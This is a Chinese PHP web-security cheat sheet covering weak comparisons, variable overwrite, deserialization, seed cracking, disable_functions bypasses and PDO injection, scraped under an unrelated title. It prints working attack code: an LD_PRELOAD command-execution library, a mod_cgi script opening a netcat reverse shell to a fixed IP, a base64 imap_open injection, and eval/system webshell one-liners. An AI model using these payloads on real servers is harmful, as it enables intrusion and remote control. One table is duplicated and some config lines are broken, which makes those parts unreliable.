网站建设工作进度/种子资源地址
目录
1、PHP弱类型问题
1.1 MD5、 SHA1 弱比较问题
1.2 数组 == 0
1)函数无法处理数组,返回0
2)strcmp
2、特殊字符串导致的问题
2.1 "ffifdyop" 与 md5(string,raw)
2.2 ereg函数漏洞:00 截断
3、正则匹配问题
1)preg_match 没有 ^ 和 $
2)pre_match 正则匹配回溯
4、变量覆盖
1)extract()
2)parse_str(str) 、mb_parse_str(str)
3)php 动态变量特性导致的变量覆盖
5、数据类型强制转换
1)intval()
2)in_array()
6、反序列化相关的问题
6.1 php魔术方法
1)在 PHP 反序列化的过程中会自动执行一些魔术方法
2)反序列化的常见起点
3)反序列化的常见中间跳板
4)反序列化的常见终点
5)Phar 反序列化原理以及特征
6.2 其他关键点
1)__wakeup() 检测绕过
2)反序列化字符串逃逸
7、php 伪随机数爆破
8、PHP 危险函数
9、disable_functions绕过
9.1 sendmail() + LDPRELOAD 劫持系统函数
1)编译动态链接库,劫持系统函数
2)通过 php 文件设置优先加载编写动态链接库
9.2 mail + LDPRELOAD 无需劫持函
9.3 攻击 php-fpm 绕过
9.4 apache mod_cgi模式
9.5 imap_open
9.6 利用第三方组件漏洞
10、PDO 下的 SQL注入
10.1 堆叠注入
10.2 报错注入
1)模拟预处理
2)非模拟预处理
10.3 盲注
11、安全配置问题
1)注册全局变量带来的安全隐患
2) 配置不显示错误信息,保存错误信息到本地
3)权限问题
4)allow_url_include 和 allow_url_fopen
5)magic_quotes_gpc, magic_quotes_runtime
6)safe_mode功能描述:限制函数使用权限和操作目录文件权限等功能。php 的安全模式,开启后会提升系统的安全系数,但是同时也会限制一些功能的使用。检验用户是否有操作文件权限。在安全模式下包含某些公共文件,可以选用它的子配置
7)open_basedir
8)disable_functions
9)expose_php
10)display_startup_errors
1、PHP弱类型问题
1.1 MD5、 SHA1 弱比较问题
MD5、SHA1函数将 "0x" 开头的哈希值都解释为科学计数法 0 的多少次方(结果都为 0),若两个不同的密码经过哈希以后,其哈希值都是以 "0e" 开头的,那么使用弱类型比较时,php 将会认为他们相同。
$a = 'QNKCDZO';
$b = 's214587387a';
if(md5($a) == md5($b)){echo "yes";
}
MD5常见弱比较payload | SHA1常见弱比较payload |
md5('240610708') | sha1('aaK1STfY') |
md5('s878926199a') | sha1('aaO8zKZF') |
md5('s155964671a') | sha1('aa3OFF9m') |
md5('s214587387a') | sha1('aaroZmOk') |
md5('s214587387a') | - |
md5('QNKCDZO') | - |
1.2 数组 == 0
1)函数无法处理数组,返回0
部分函数无法处理数组,当传入的参数为数组时可能返回0,在进行比较时,即可能存在绕过。涉及的函数:sha1()、md5()、is_numeric()、strpos()
2)strcmp
- 如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
- 先将两个参数先转换成 string 类型。
- 当比较数组和字符串的时候,返回是 0。
- 如果参数不是 string 类型,直接 return
2、特殊字符串导致的问题
2.1 "ffifdyop" 与 md5(string,raw)
当 php 使用 md5(string,raw) 进行密码的正确性判断,可以通过字符串 ffifdyop 绕过判断
select * from 'admin' where password=md5($pass,true)
字符串 ffifdyop 经过 md5 编码后返回的原始二进制为 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c,相当于构造了
select * from 'admin' where password= '' or '6\xc9]\x99\xe9!r,\xf9\xedb\x1c'
即
select * from 'admin' where password= '' or true
2.2 ereg函数漏洞:00 截断
若如果 $_GET["password"] 为数组,则返回值为 NULL,若为 123%00&&&**,则返回值为true。(php7 已移除此函数)C 语言等编程语言,默认以 "\0 " 作为字符串的结束符,当读取到这样的空字符,便认为字符串结束,不在向后读取。
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE){echo "invalid password";
}
3、正则匹配问题
1)preg_match 没有 ^ 和 $
preg_match 默认存在贪婪匹配,未限制开始和结束(^ 和 $),则存在绕过的问题。"abc1.1.1.1" 即可绕过。
<?php
$ip = 'asd 1.1.1.1 abcd'; // 可以绕过
if(!preg_match("/(\d+)\.(\d+)\.(\d+)\.(\d+)/",$ip)) {die('error');
} else {echo('key...');
}
?>
2)pre_match 正则匹配回溯
pre_match 默认贪婪匹配,会进行正则匹配回溯,回溯次数太多会消耗很多服务器资源,甚至造成正则表达式的拒绝服务攻击(reDOS)。因此 php 的 pcre.backtrack_limit 选项可设置默认回溯上线为 100 万次,所以通过传递一个超长的字符串给 pre_match 进行解析,可以导致 pre_match 正则匹配超过回溯上限,使得 php 认为正则匹配失败,返回 false。
<?php
function is_php($data){ return preg_match('/<\?.*[(`;?>].*/is', $data);
}if(!is_php($input)) {// fwrite($f, $input); ...
}
4、变量覆盖
1)extract()
从数组中将变量导入到当前的符号表,使用数组键名作为变量名,使用数组键值作为变量值。在指定参数为 EXTR_OVERWRITE 或者没有指定函数可以导致变量覆盖。(历史漏洞:thinkphp 5 文件包含漏洞)
<?php
$flag = 'xxx';
extract($_GET);
if (isset($gift)) {$content = trim(file_get_contents($flag));if ($gift === $content) {echo 'flag{...}';}
}
?>
payload:?flag=&gift=
extract() 会将已设置的 $flag 变量覆盖为 $_GET 收到的 flag 的值
2)parse_str(str) 、mb_parse_str(str)
可将字符串解析成多个变量,若参数 str 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域。若未设置 array 参数,由该函数设置的变量将覆盖已存在的同名变量
<?php
error_reporting(0);
if(empty($_GET['id'])) { die();
} else {include ('flag.php');$a = "www.OPENCTF.com";$id = $_GET['id'];@parse_str($id);if (md5($a[0]) == md5('QNKCDZO')) {echo $flag;} else {exit();}
}
?>
payload:?id=a[0]=QNKCDZO
parse_str() 将 "a[0]=QNKCDZO" 解析,导致 a[0] 原本的值被覆盖
3)php 动态变量特性导致的变量覆盖
<?php
foreach (array('_COOKIE','_POST','_GET') as $_request) {foreach ($$_request as $_key=>$_value) {
// $_request => _GET,$$_request => $_GET$$_key = $_value;
// $_GET => id=1,$$_GET => $id=1}
}
$id = isset($id) ? $id : 2;
if($id === 1) {echo "flag{xxxxxxxxxx}";die();
}
?>
payload:?id=1
5、数据类型强制转换
1)intval()
intval() 转换的时候,会将从字符串的开始进行转换直到遇到一个非数字的字符。即使出现无法转换的字符串,intval() 不会报错而是返回 0,并且 intval() 函数可以被 %00 截断。而在使用数据库存储数据时,仅用 is_numberic 判断而不用 intval 转换就有可能插入16 进制的字符串到数据库,进而可能导致 sql 二次注入。
var_dump(intval('2')); //2
var_dump(intval('3abcd')); //3
var_dump(intval('abcd')); //0if($_GET['number']!=strval(intval($_GET['number']))){$info = "number must be equal to it's integer!! ";
}
payload:?number=0%00
2)in_array()
在所有php认为是int的地方输入string,都会被强制转换
var_dump(in_array('abc', $array)); //true
var_dump(in_array('1bc', $array)); //true
6、反序列化相关的问题
6.1 php魔术方法
php 中的魔术方法以符号 __ 开头的,如 __construct, __destruct,__toString,__sleep,__wakeup 等等。这些函数都会在某些特殊时候被自动调用。
1)在 PHP 反序列化的过程中会自动执行一些魔术方法
方法名 | 调用条件 |
__call | 调用不可访问或不存在的方法时被调用 |
__callStatic | 调用不可访问或不存在的静态方法时被调用 |
__clone | 进行对象clone时被调用,用来调整对象的克隆行为 |
__constuct | 构建对象的时被调用 |
__debuginfo | 当调用var_dump()打印对象时被调用(当你不想打印所有属性)适用于PHP5.6版本 |
__destruct | 明确销毁对象或脚本结束时被调用 |
__get | 读取不可访问或不存在属性时被调用 |
__invoke | 当以函数方式调用对象时被调用 |
__isset | 对不可访问或不存在的属性调用isset()或empty()时被调用 |
__set | 当给不可访问或不存在属性赋值时被调用 |
__set_state | 当调用var_export()导出类时,此静态方法被调用。用__set_state的返回值做为var_export的返回值。 |
__sleep | 当使用serialize时被调用,当你不需要保存大对象的所有数据时很有用 |
__wakeup | 当使用unserialize时被调用,可用于做些对象的初始化操作 |
__toString | 当一个类被转换成字符串时被调用 |
__unset | 对不可访问或不存在的属性进行unset时被调用 |
2)反序列化的常见起点
-
__wakeup :一定会调用
-
__destruct: 一定会调用
-
__toString: 当一个对象被反序列化后又被当做字符串使用
3)反序列化的常见中间跳板
-
__toString :当一个对象被当做字符串使用
-
__get :读取不可访问或不存在属性时被调用
-
__set :当给不可访问或不存在属性赋值时被调用
-
__isset :对不可访问或不存在的属性调用isset()或empty()时被调用
4)反序列化的常见终点
-
__call :调用不可访问或不存在的方法时被调用
-
call_user_func :一般php代码执行都会选择这里
-
call_user_func_array :一般php代码执行都会选择这里
5)Phar 反序列化原理以及特征
phar:// 伪协议会在多个函数中反序列化其 metadata 部分,受影响的函数包括不限于如下:
copy,file_exists,file_get_contents,file_put_contents,file,fileatime,filectime,filegroup,fileinode,filemtime,fileowner,fileperms,fopen,is_dir,is_executable,is_file,is_link,is_readable,is_writable,is_writeable,parse_ini_file,readfile,stat,unlink,exif_thumbnailexif_imagetype,imageloadfontimagecreatefrom,hash_hmac_filehash_filehash_update_filemd5_filesha1_file,get_meta_tagsget_headers,getimagesizegetimagesizefromstring,extractTo
6.2 其他关键点
1)__wakeup() 检测绕过
unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。当 __wakeup() 被用来检测序列化数据时,当成员属性数目大于实际数目时可绕过检测(CVE-2016-7124),此时可以在序列化数据内插入非法字符。
<?php
class User{public age;public name;......// 使用__wakeup() 对反序列化内容进行检查和转换操作function __wakeup() {foreach($this->args as $k => $v) {$this->args[$k] = strtolower(trim(mysql_escape_string($v)));...
}
...
?>O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";} // 正确的序列化字符串
O:4:"User":3:{s:3:"age";i:20;s:4:"name";s:10:"John'xxxxx";} // 绕过__wakeup的序列化字符串检查
2)反序列化字符串逃逸
PHP 在反序列化时,对类中不存在的属性也会进行反序列化,并且底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的。
造成字符串逃逸的原因:
字符串的序列化数量和实际数量不一致。当序列化的字符串在反序列化之前被添加或者删除了部分字符,就导致了数据类型的数量标记的错误,解析时就会漏解析或多解析。
<?php
class User{public age;public name;...
}
...
$user = serialize($object);
...
function filter($str){$str = str_replace('phtml','',$string);
}
...
unserialize(filter($user));
?>O:4:"User":3:{s:3:"age";i:20;s:4:"name";s:25:"phtmlphtmlphtmlphtmlphtml";}
插入数据:
O:4:"User":3:{s:3:"age";i:20;s:4:"name";s:25:"phtmlphtmlphtmlphtmlphtml";}<? @eval($_POST[1]);?>";}
被过滤后:
O:4:"User":3:{s:3:"age";i:20;s:4:"name";s:25:"";}<? @eval($_POST[1]);?>";}
7、php 伪随机数爆破
计算机不能产生绝对的随机数,只能产生伪随机数,即有规律的数据。伪随机是由可确定的函数,通过一个种子(常用时钟)播种,产生的伪随机数。若已知种子,或者已经产生的随机数,或者已知产生的随机数的一部分,都可能获得接下来随机数序列的信息。已知了随机数列,则能确定随机数种子。
PHP 的伪随机数有关的两个函数:
- mt_rand(min,max):如果没有提供可选参数 min 和 max,返回 0 到 RAND_MAX 之间的伪随机数。
- mt_srand(seed) 播种 Mersenne Twister 随机数生成器,参数 seed 为规定播种值,函数用 seed 来给随机数发生器播种。
php 每次调用 mt_rand() 函数时,都会先检查是否已经播种。如果已经播种就直接产生随机数,否则调用 php_mt_srand 来播种。即每个 php cgi 进程期间,只有第一次调用 mt_rand() 会自动播种,此后都会根据这个第一次播种的种子来生成随机数。
根据 mt_rand() 产生的随机数,可以使用爆破工具 php_mt_seed 进行爆破随机数种子:
root@ubuntu:/opt/php_mt_seed-4.0# php -r 'mt_srand(1234567890); echo mt_rand(),"\n";'
1328851649
root@ubuntu:/opt/php_mt_seed-4.0# ./php_mt_seed 1328851649
Pattern: EXACT
Version: 3.0.7 to 5.2.0
Found 0, trying 0xfc000000 - 0xffffffff, speed 3523.2 Mseeds/s
Version: 5.2.1+
Found 0, trying 0x1e000000 - 0x1fffffff, speed 31.3 Mseeds/s
seed = 0x1fd65f9a = 534142874 (PHP 7.1.0+)
Found 1, trying 0x26000000 - 0x27ffffff, speed 31.3 Mseeds/s
seed = 0x273a3517 = 658126103 (PHP 5.2.1 to 7.0.x; HHVM)
Found 2, trying 0x48000000 - 0x49ffffff, speed 31.5 Mseeds/s
seed = 0x499602d2 = 1234567890 (PHP 5.2.1 to 7.0.x; HHVM)
seed = 0x499602d2 = 1234567890 (PHP 7.1.0+)
Found 4, trying 0xfe000000 - 0xffffffff, speed 31.9 Mseeds/s
Found 4
root@ubuntu:/opt/php_mt_seed-4.0#
8、PHP 危险函数
命令执行函数 | 描述 |
error_log() | 将错误信息发送到指定位置(文件)。在某些版本的 PHP 中,可使用 error_log() 绕过 PHP safe mode,执行任意命令。 |
preg_replace('/pattern/e','' ) | 执行一个正则表达式的搜索和替换。/e 修正符会导致:在完成替换后,引擎会将结果字符串作为 PHP 代码使用 eval 方式进行评估并将返回值作为最终参与替换的字符串。/e 在php 5.5之后被废除。 |
eval() | 把字符串作为PHP代码执行 |
passthru() | 允许执行一个外部程序并回显输出,类似于 exec() |
exec() | 允许执行一个外部程序(如 UNIX Shell 或 CMD 命令等),命令执行结果的最后一行内容 |
system() | 允许执行一个外部程序并回显输出 |
shell_exec() | 通过 Shell 执行命令,并将执行结果作为字符串返回 |
popen() | 可通过 popen() 的参数传递一条命令,并对 popen() 所打开的文件进行执行。 |
proc_open() | 执行一个命令并打开文件指针用于读取以及写入。 |
proc_get_status() | 获取使用 proc_open() 所打开进程的信息。 |
ob_start() | 此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。 |
unserialize() | PHP 5.4.36之前版本,”process_nested_data()”函数在实现上存在释放后重利用漏洞,攻击者通过向”unserialize()” 函数传递构造的输入,利用此漏洞可破坏内存;”var_push_dtor()”函数在实现上存在空指针间接引用漏洞,攻击者通过 向”unserialize()”函数传递构造的输入,利用此漏洞可造成崩溃。成功利用这些漏洞可造成任意代码执行。 |
可调用命令执行函数的危险函数 | 描述 |
create_function() | 用于创建一个匿名函数,此函数会在内部执行 eval() |
call_user_func() | 把第一个参数作为回调函数调用。函数第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。 |
call_user_func_array() | 调用回调函数,并把一个数组参数作为回调函数的参数 <?php $arr[0]=$_GET['cmd'];call_user_func_array("system", $arr);?> |
usort()、uasort()、uksort() | 使用用户自定义的比较函数对数组中的值、键名进行排序 |
array_map() | 为数组的每个元素应用回调函数 <?php $arr[0]=$GET['cmd'];echo array_map($_GET['func'], $arr);?> |
array_filter () | 用回调函数过滤数组中的单元 |
array _reduce() | 用回调函数迭代地将数组简化为单一的值 |
array_diff_uassoc() | 用用户提供的回调函数做索引检查来计算数组的差集 |
arra y_diff _ ukey() | 用回调函数对键名比较计算数组的差集 |
array_ udiff() | 用回调函数比较数据来计算数组的差集 |
array udiff_assoc() | 带索引检查计算数组的差集,用回调函数比较数据 |
array_udiff_ uassoc() | 带索引检查计算数组的差集,用回调函数比较数据和索引 |
array_intersect_uassoc() | 带索引检查计算数组的交集,用回调函数比较索引 |
array_ uintersect() | 计算数组的交集,用回调函数比较数据 |
array_uintersect_assoc() | 带索引检查计算数组的交集,用回调函数比较数据 |
array_uintersect_ uassoc() | 带索引检查计算数组的交集,用单独的回调函数比较数据和索引 |
array_ walk() | 使用用户自定义函数对数组中的每个元素做回调处理 |
array_walk_ recursive() | 对数组中的每个成员递归地应用用户函数 |
xml_set_character_data_handler(parser,handler) | 为 parser 变量指向的 XML 解析器指定字符数据处理函数。 |
xml_set_default_handler(parser,handler) | 为 parser 指定的 XML 处理器建立默认处理函数 |
xml _set_ element_ handler(parser,handler) | 为 parser 参数指定的 XML 解析器建立元素处理器函数。 |
xml_set_end_namespace_decl_handler() | 建立终止命名空间声明处理器 |
xml_ set_ external_ entity _ref_handler | 为 parser 参数指定的 XML 解析器建立外部实体指向处理器函数 |
xml_set notation decl_handler() | 为 parser 参数指定的 XML 解析器建立注释声明处理器函数。 |
xml _set_processing_instruction _handler() | 为 parser 参数指定的 XML 解析器建立处理指令(PI)处理器函数 |
xml_set_start_namespace_decl_handler() | 建立起始命名空间声明处理器 |
xml_set_unparsed_entity _decl_handler() | 为 parser 参数指定的 XML 解析器建立未解析实体定义声明处理器函数。当 XML 解析器遇到如下含有 NDATA 声明的外部实体定义声明时,该 handler 处理器将被调用 |
stream_filter_register() | 允许用户使用任何文件系统上的函数,在任何流上实现自定义的过滤器 |
set_ error_ handler() | 设置用户自定义的错误处理函数 |
register_ shutdown_ function() | 注册一个会在php中止时执行的函数 |
register_tick_function() | 当tick被调用时,注册被给定的需要执行的函数 |
可调用命令执行函数的危险函数 | 描述 |
create_function() | 用于创建一个匿名函数,此函数会在内部执行 eval() |
call_user_func() | 把第一个参数作为回调函数调用。函数第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。 |
call_user_func_array() | 调用回调函数,并把一个数组参数作为回调函数的参数 <?php $arr[0]=$_GET['cmd'];call_user_func_array("system", $arr);?> |
usort()、uasort()、uksort() | 使用用户自定义的比较函数对数组中的值、键名进行排序 |
array_map() | 为数组的每个元素应用回调函数 <?php $arr[0]=$GET['cmd'];echo array_map($_GET['func'], $arr);?> |
array_filter () | 用回调函数过滤数组中的单元 |
array _reduce() | 用回调函数迭代地将数组简化为单一的值 |
array_diff_uassoc() | 用用户提供的回调函数做索引检查来计算数组的差集 |
arra y_diff _ ukey() | 用回调函数对键名比较计算数组的差集 |
array_ udiff() | 用回调函数比较数据来计算数组的差集 |
array udiff_assoc() | 带索引检查计算数组的差集,用回调函数比较数据 |
array_udiff_ uassoc() | 带索引检查计算数组的差集,用回调函数比较数据和索引 |
array_intersect_uassoc() | 带索引检查计算数组的交集,用回调函数比较索引 |
array_ uintersect() | 计算数组的交集,用回调函数比较数据 |
array_uintersect_assoc() | 带索引检查计算数组的交集,用回调函数比较数据 |
array_uintersect_ uassoc() | 带索引检查计算数组的交集,用单独的回调函数比较数据和索引 |
array_ walk() | 使用用户自定义函数对数组中的每个元素做回调处理 |
array_walk_ recursive() | 对数组中的每个成员递归地应用用户函数 |
xml_set_character_data_handler(parser,handler) | 为 parser 变量指向的 XML 解析器指定字符数据处理函数。 |
xml_set_default_handler(parser,handler) | 为 parser 指定的 XML 处理器建立默认处理函数 |
xml _set_ element_ handler(parser,handler) | 为 parser 参数指定的 XML 解析器建立元素处理器函数。 |
xml_set_end_namespace_decl_handler() | 建立终止命名空间声明处理器 |
xml_ set_ external_ entity _ref_handler | 为 parser 参数指定的 XML 解析器建立外部实体指向处理器函数 |
xml_set notation decl_handler() | 为 parser 参数指定的 XML 解析器建立注释声明处理器函数。 |
xml _set_processing_instruction _handler() | 为 parser 参数指定的 XML 解析器建立处理指令(PI)处理器函数 |
xml_set_start_namespace_decl_handler() | 建立起始命名空间声明处理器 |
xml_set_unparsed_entity _decl_handler() | 为 parser 参数指定的 XML 解析器建立未解析实体定义声明处理器函数。当 XML 解析器遇到如下含有 NDATA 声明的外部实体定义声明时,该 handler 处理器将被调用 |
stream_filter_register() | 允许用户使用任何文件系统上的函数,在任何流上实现自定义的过滤器 |
set_ error_ handler() | 设置用户自定义的错误处理函数 |
register_ shutdown_ function() | 注册一个会在php中止时执行的函数 |
register_tick_function() | 当tick被调用时,注册被给定的需要执行的函数 |
9、disable_functions绕过
9.1 sendmail() + LDPRELOAD 劫持系统函数
LD_PRELOAD 是 linux 系统的一个环境变量,用来定义在程序运行前优先加载的动态链接库,其功能主要是有选择性的载入不同动态链接库中的相同函数。
流程:
- 找一个 php 函数,其实现方式包含调用系统共享对象中的函数
- 写一个动态链接库,覆盖该 php 函数调用的系统命令的某个函数
- 通过 php 脚本,使用 putenv 设置优先加载编写动态链接库,通过覆盖该系统函数从而执行命令
- 将编译成的动态链接库和php文件上传到靶机,include该php文件
1)编译动态链接库,劫持系统函数
php中的mail、error_log、imap_mail、mb_send_mai 函数通过调用系统中的 sendmail 命令实现,sendmail 二进制文件中使用了 getuid 库函数,因此可以覆盖 getuid 函数。
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int getuid()
{const char* cmdline = getenv("EVIL_CMDLINE");if (getenv("LD_PRELOAD") == NULL){return 0;}unsetenv("LD_PRELOAD");system(cmdline);
}
以上内容编译成动态链接库
gcc -shared -fPIC geteuid.c -o getuid.so
2)通过 php 文件设置优先加载编写动态链接库
putenv 添加环境变量(一个是上传的so库地址、一个是要执行的命令),将system命令输出内容写入指定文件。
<?php
$cmd = $_REQUEST["cmd"];
$out_path = $_REQUEST["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_REQUEST["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
?>
9.2 mail + LDPRELOAD 无需劫持函
适用于无法使用 sendmail 的情况,只需要找到该php环境中存在执行系统命令的函数、且 putenv函数未被禁用的情况下,就可以绕过disable_function。GCC 有个 C 语言扩展修饰符 attribute((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 attribute((constructor)) 修饰的函数。
编译并上传如下内容,此时同样的 php 文件,使用这个动态库,即使靶机没有 sendmail,也会执行命令。并且因为不用等待 sendmail 返回,现在可以实时显示命令执行返回内容。
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>__attribute__ ((__constructor__)) void getuid()
{const char* cmdline = getenv("EVIL_CMDLINE");if (getenv("LD_PRELOAD") == NULL) { return 0; }unsetenv("LD_PRELOAD"); system(cmdline);
}
9.3 攻击 php-fpm 绕过
php-fpm 内嵌有 php 解释器,webserver 将用户请求按照 fastcgi 协议打包发给 php-fpm,经 php 解释器解析后将标准内容再返回给 webserver。
php-fpm 与 nginx 有 TCP 和 UNIX socket 两种通信方式。TCP 方式php-fpm 会监听本地 9000 端口等待 webserver 连接通信,UNIX socket 以文件(一般是 .sock)作为 socket 的唯一标识(描述符),需要通信的两个进程引用同一个 socket 描述符文件就可以建立通道进行通信。
攻击步骤:
- 一个能模拟与 php-fpm 通信的 php 文件、一个符合当前 php 版本的写了命令执行函数的 php 扩展。
- 将两个文件上传执行。
这两个都已经有师傅写好了
php 文件可以用这个 https://github.com/wofeiwo/webcgi-exploits/blob/master/php/Fastcgi/fcgi_jailbreak.php
扩展 https://github.com/AntSwordProject/ant_php_extension,用相应版本 php 编译即可,项目中编译的扩展实现了一个功能与 system 相同名字为 antsystem2 的函数。
9.4 apache mod_cgi模式
实现要求:
- apache且运行mod_cgi模式
- web目录可写
- 允许.htaccess生效
CGI 模式下,每接受一个用户请求,apache 都会 fork 一个进程运行 CGI 程序解析 php 脚本,在 .htaccess 中可以设置允许在 web 目录运行 CGI 程序,然后上传一个 shell 命令文件上去,执行就可以反弹一个 shell 了。
在 .htaccess 中添加以下内容,指定 .dazzle 为结尾的文件为 CGI 脚本程序并且允许本目录执行,只要同时上传一个 .dazzle 的 shell 即可。
Options +ExecCGIAddHandler
cgi-script .dizzle
payload 如下,上传访问,代码会自己检查是否符合条件,符合条件直接执行命令反弹 shell。
<?php
$cmd = "nc -c '/bin/bash' 172.16.15.1 4444"; //command to be executed
$shellfile = "#!/bin/bash\n"; //using a shellscript
//header is needed, otherwise a 500 error is thrown when there is output
$shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n";
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
{echo "$text: " . ($condition ? $yes : $no) . "\n";
}
if (!isset($_GET['checked']))
{//Append it to a .htaccess file to see whether .htaccess is allowed@file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //execute the script again to see if the htaccess test workedheader('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true');
} else {$modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?$writable = is_writable('.'); //current dir writable?$htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");checkEnabled("Is writable",$writable,"Yes","No");checkEnabled("htaccess working",$htaccess,"Yes","No");if(!($modcgi && $writable && $htaccess)){echo "Error. All of the above must be true for the script to work!"; //abort if not} else{//make a backup, cause you never know.checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //.dizzle is a nice extensioncheckEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the filecheckEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwxecho "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script}
}
?>
9.5 imap_open
imap_open 函数爆出的任意命令执行漏洞也可以用来利用绕过 disable_function,但要求靶机安装并开启了 imap 扩展。payload 如下,上传后访问就能执行其中的代码。
<?php
// CRLF (c)
// echo '1234567890'>/tmp/test0001$server = "x -oProxyCommand=echo\
tZWNobyAnMTIzNDU2Nzg5MCc
+L3RtcC90ZXN0MDAwMQo=|base64\t-d|sh}";
imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());
9.6 利用第三方组件漏洞
这是基于靶机安装的后端组件中本来就存在已知漏洞,通过漏洞直接注入 shell 命令,从而绕过php 的限制。比如 ImageMagick 漏洞、Bash 的破壳漏洞、GhostScript 沙箱绕过(命令执行)漏洞等等。
10、PDO 下的 SQL注入
在 MySQL 中,一条 SQL 语句从传入到执行经历了以下过程:检查缓存、规则验证、解析器解析为语法树、预处理器进一步验证语法树、优化 SQL 、生成执行计划、执行。
PDO 预编译使用占位符?代替字段值的部分,将 SQL 语句先交由数据库预处理,构建语法树,再传入真正的字段值多次执行,省却了重复解析和优化相同语法树的时间,提升了 SQL 执行的效率。
因为在传入字段值之前,语法树已经构建完成,因此无论传入任何字段值,都无法再更改语法树的结构。至此,任何传入的值都只会被当做值来看待,不会再出现非预期的查询,这是预编译能够防止SQL注入的根本原因。
10.1 堆叠注入
PDO 默认支持多语句查询,如果 php 版本小于 5.5.21 或者创建 PDO 实例时未设置 PDO::MYSQL_ATTR_MULTI_STATEMENTS 为 false 时可能会造成堆叠注入。
// 创建PDO时,禁止多语句执行
new PDO($dsn, $user, $pass, array( PDO::MYSQL_ATTR_MULTI_STATEMENTS => false))
10.2 报错注入
PDO 分为模拟预处理和非模拟预处理
1)模拟预处理
是防止某些数据库不支持预处理而设置的,PDO 内部会模拟参数绑定的过程,先将 SQL 语句处理完,最后 execute() 的时候才发送给数据库执行。
2)非模拟预处理
通过数据库服务器来进行预处理动作,主要分为两步:
- 第一步是 prepare 阶段,发送 SQL 语句模板到数据库服务器;
- 第二步通过 execute() 函数发送占位符参数给数据库服务器进行执行。
try {$pdo = new PDO($dsn, $user, $pass);
} catch (PDOException $e) {echo $e;
}
// 设置非模拟预处理
// $pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);$username = $_GET['username'];
$sql = "select id,".$_GET['field']." from user where username = ?";
$stmt = $pdo->prepare($sql);$stmt->bindParam(1,$username);
$stmt->execute();while($row=$stmt->fetch(PDO::FETCH_ASSOC)){var_dump($row);echo "";
}
field 字段可控,当 PDO 为模拟预处理时,设置 $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); 时,可以达到报错注入效果
field 字段可控,多语句不可执行,但设置 $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); 时,也可进行报错注入。因为 MySQL 服务端 prepare 时报错,通过设置 PDO::ATTR_ERRMODE 将 MySQL 可以进行错误信息打印。
10.3 盲注
表名、列名、order by、ASC、DESC 等字段无法使用 PDO。生成语法树的过程中,预处理器在进一步检查解析后的语法树时,会检查数据表和数据列是否存在,不存在则报错,因此数据表和数据列不能被占位符 ? 所替代。当表名需要作为一个变量存在,这部分仍需由加号进行 SQL 语句的拼接,若表名是由外部传入且可控的,仍会造成 SQL 注入。而 order by 后的 ASC/DESC 等字段,在使用 PDO 后不能识别。当业务场景涉及用户可控的排序时,且 ASC/DESC 是由前台传入并拼接到SQL 语句上时,也可能造成sql注入。
11、安全配置问题
1)注册全局变量带来的安全隐患
register_globals 用来开启全局注册变量功能。在 php4.2.0 后默认为 off,如果为 on,需要为每个变量初始化,get,post,cookie等变量直接被注册为全局变量,比如表单的username,程序中使用 $username 就能获取到值,不需 $_POST 来获取值。
<?php
if (!empty($_COOKIE['secret'])){$authorized = true;if ($authorized){...}
}
payload:?authorized=1
当 register_globals 为 on,通过 get 传参使 $authorized 注册为全局变量,就绕过了认证。
若有需求要开启注册全局变量,有两种方法可以防御:
- 初始化变量:当初始化了 $authorized 的值为假,即使传入了真也不会改变
- 配置预警模式:在 php.ini 中设置 error_reporting 设置为 E_ALL|E_STRICT 最高级别,若存在未初始化的全局变量,会预警。
2) 配置不显示错误信息,保存错误信息到本地
关闭浏览器显示错误提示,记录错误提示到本地日志中,减少信息泄露。这些设置可以在php.ini中设置,也可以在php程序中设置。
3)权限问题
文件上传的目录不应设置可执行权限。
4)allow_url_include 和 allow_url_fopen
都开启时可以导致远程文件包含漏洞,有需要开启时,需要设置过滤程序。
5)magic_quotes_gpc, magic_quotes_runtime
